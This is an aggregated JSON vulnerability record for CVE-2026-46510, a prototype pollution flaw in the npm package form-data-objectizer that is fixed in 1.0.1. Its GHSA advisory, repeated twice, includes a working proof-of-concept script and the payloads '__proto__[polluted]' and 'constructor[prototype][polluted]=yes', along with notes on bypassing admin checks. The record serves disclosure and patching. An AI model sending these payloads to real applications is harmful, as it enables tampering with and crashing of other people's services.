{"id":"CVE-2026-46510","aliases":["EUVD-2026-33321","GHSA-m2hg-wjq3-28wq"],"status":"published","title":"Prototype pollution in form-data-objectizer via bracket-notation form keys","description":"form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00282,"percentile":0.20982,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-05-18T13:28:31Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"npm","package":"form-data-objectizer","fixed_in":["1.0.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"form-data-objectizer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.0"},{"fixed":"1.0.1"}]}]},{"source":"osv","ecosystem":"npm","package":"form-data-objectizer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}]}],"products":[{"vendor":"kaspernj","product":"form-data-objectizer"}],"references":[{"url":"https://github.com/kaspernj/form-data-objectizer/security/advisories/GHSA-m2hg-wjq3-28wq","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/kaspernj/form-data-objectizer/commit/7c54b99408e6e9cd6533b7245bf197dadc2a2dbc","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46510","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m2hg-wjq3-28wq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46510.json","tags":["advisory"]},{"url":"https://github.com/kaspernj/form-data-objectizer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46510","title":"Prototype pollution in form-data-objectizer via bracket-notation form keys","description":"form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.","status":"published","published":"2026-05-29T13:40:22.772Z","modified":"2026-06-02T01:28:15.623Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T13:46:55.086623Z"}],"euvd":[{"id":"EUVD-2026-33321","description":"form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.","status":"published","published":"2026-05-29T13:40:22Z","modified":"2026-06-02T01:28:15Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T18:20:57.453624Z"}],"ghsa":[{"id":"GHSA-m2hg-wjq3-28wq","title":"form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys","description":"## Summary\n\n`form-data-objectizer` walks bracket-notation form keys (e.g. `name[sub]`) into nested objects without filtering `__proto__`, `constructor`, or `prototype`. A single HTTP form field whose name starts with `__proto__[...]` causes the library to mutate `Object.prototype`, which is a prototype pollution primitive of the entire Node.js process.\n\nThe bug is in `treatInitial` and `treatSecond` inside `index.cjs`:\n\n```js\nif (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches\n  newResult = result[inputName]      // newResult === Object.prototype\n}\n// ...\nresult[key] = value                  // sets the property on Object.prototype\n```\n\nWith the form key `__proto__[polluted]` and value `yes`:\n\n1. `treatInitial` matches `inputName = \"__proto__\"`, `rest = \"[polluted]\"`.\n2. `\"__proto__\" in result` is true (inherited), so `newResult = result[\"__proto__\"]`, which is `Object.prototype`.\n3. `treatSecond` recurses with `key = \"polluted\"`, `newRest = \"\"`, and assigns `Object.prototype.polluted = \"yes\"`.\n\n## Affected versions\n\n- `form-data-objectizer` `\u003c= 1.0.0` (currently the only published version)\n\n## Patched\n\nNot yet. Suggested fix: reject any segment equal to `__proto__`, `constructor`, or `prototype` before walking into `result[inputName]` / `result[key]`. Either throw or skip the entry.\n\nMinimum patch in `treatInitial` and `treatSecond`:\n\n```js\nconst REJECT = new Set(['__proto__', 'constructor', 'prototype']);\nif (REJECT.has(inputName) || REJECT.has(key)) {\n  return; // or throw\n}\n```\n\nUsing `Object.create(null)` for the `result` object would also work since it has no prototype to pollute, but the `key === '__proto__'` direct write still needs guarding.\n\n## Proof of concept\n\nFresh install on Node 18+:\n\n```sh\nmkdir pp-fdo \u0026\u0026 cd pp-fdo\nnpm init -y\nnpm install form-data-objectizer@1.0.0\n```\n\n```js\n// poc.js\nconst FormDataToObject = require('form-data-objectizer');\n\nconst form = new FormData();\nform.append('username', 'alice');\nform.append('__proto__[polluted]', 'yes');\n\nFormDataToObject.toObject(form);\nconsole.log(({}).polluted); // -\u003e 'yes'\n```\n\nObserved output:\n\n```\npackage version: 1.0.0\nbefore pollution: undefined\nafter pollution:  yes\nparsed data:     { username: 'alice' }\nconfirmed:       YES, prototype polluted\n```\n\nThe field name `__proto__[polluted]` is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits `polluted = 'yes'`. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.\n\nA second working payload is `constructor[prototype][polluted]=yes`, which walks `result.constructor` then `.prototype`.\n\n## Impact\n\n- Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses `form-data-objectizer.toObject()` on incoming form data.\n- Persists for the life of the worker process and affects every subsequent request handled by the same process.\n- Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing `if (obj.isAdmin)` style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` (8.2, High)\n\nIntegrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.\n\n## Credit\n\nReported by Mohamed Bassia (@0xBassia).","status":"published","published":"2026-05-18T13:28:31Z","modified":"2026-06-09T10:28:04Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:40:22.540562Z"}],"nvd":[{"id":"CVE-2026-46510","description":"form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.","status":"published","published":"2026-05-29T14:16:31.807Z","modified":"2026-07-21T12:10:00.09Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:21.244426Z"}],"osv":[{"id":"CVE-2026-46510","title":"Prototype pollution in form-data-objectizer via bracket-notation form keys","description":"form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.","status":"published","published":"2026-05-29T13:40:22.772Z","modified":"2026-10-28T02:30:35.37468332Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:45:05.870292Z"},{"id":"GHSA-m2hg-wjq3-28wq","title":"form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys","description":"## Summary\n\n`form-data-objectizer` walks bracket-notation form keys (e.g. `name[sub]`) into nested objects without filtering `__proto__`, `constructor`, or `prototype`. A single HTTP form field whose name starts with `__proto__[...]` causes the library to mutate `Object.prototype`, which is a prototype pollution primitive of the entire Node.js process.\n\nThe bug is in `treatInitial` and `treatSecond` inside `index.cjs`:\n\n```js\nif (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches\n  newResult = result[inputName]      // newResult === Object.prototype\n}\n// ...\nresult[key] = value                  // sets the property on Object.prototype\n```\n\nWith the form key `__proto__[polluted]` and value `yes`:\n\n1. `treatInitial` matches `inputName = \"__proto__\"`, `rest = \"[polluted]\"`.\n2. `\"__proto__\" in result` is true (inherited), so `newResult = result[\"__proto__\"]`, which is `Object.prototype`.\n3. `treatSecond` recurses with `key = \"polluted\"`, `newRest = \"\"`, and assigns `Object.prototype.polluted = \"yes\"`.\n\n## Affected versions\n\n- `form-data-objectizer` `\u003c= 1.0.0` (currently the only published version)\n\n## Patched\n\nNot yet. Suggested fix: reject any segment equal to `__proto__`, `constructor`, or `prototype` before walking into `result[inputName]` / `result[key]`. Either throw or skip the entry.\n\nMinimum patch in `treatInitial` and `treatSecond`:\n\n```js\nconst REJECT = new Set(['__proto__', 'constructor', 'prototype']);\nif (REJECT.has(inputName) || REJECT.has(key)) {\n  return; // or throw\n}\n```\n\nUsing `Object.create(null)` for the `result` object would also work since it has no prototype to pollute, but the `key === '__proto__'` direct write still needs guarding.\n\n## Proof of concept\n\nFresh install on Node 18+:\n\n```sh\nmkdir pp-fdo \u0026\u0026 cd pp-fdo\nnpm init -y\nnpm install form-data-objectizer@1.0.0\n```\n\n```js\n// poc.js\nconst FormDataToObject = require('form-data-objectizer');\n\nconst form = new FormData();\nform.append('username', 'alice');\nform.append('__proto__[polluted]', 'yes');\n\nFormDataToObject.toObject(form);\nconsole.log(({}).polluted); // -\u003e 'yes'\n```\n\nObserved output:\n\n```\npackage version: 1.0.0\nbefore pollution: undefined\nafter pollution:  yes\nparsed data:     { username: 'alice' }\nconfirmed:       YES, prototype polluted\n```\n\nThe field name `__proto__[polluted]` is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits `polluted = 'yes'`. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.\n\nA second working payload is `constructor[prototype][polluted]=yes`, which walks `result.constructor` then `.prototype`.\n\n## Impact\n\n- Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses `form-data-objectizer.toObject()` on incoming form data.\n- Persists for the life of the worker process and affects every subsequent request handled by the same process.\n- Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing `if (obj.isAdmin)` style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` (8.2, High)\n\nIntegrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.\n\n## Credit\n\nReported by Mohamed Bassia (@0xBassia).","status":"published","published":"2026-05-18T13:28:31Z","modified":"2026-06-09T10:45:16.895340113Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:51.10002Z"}]}}
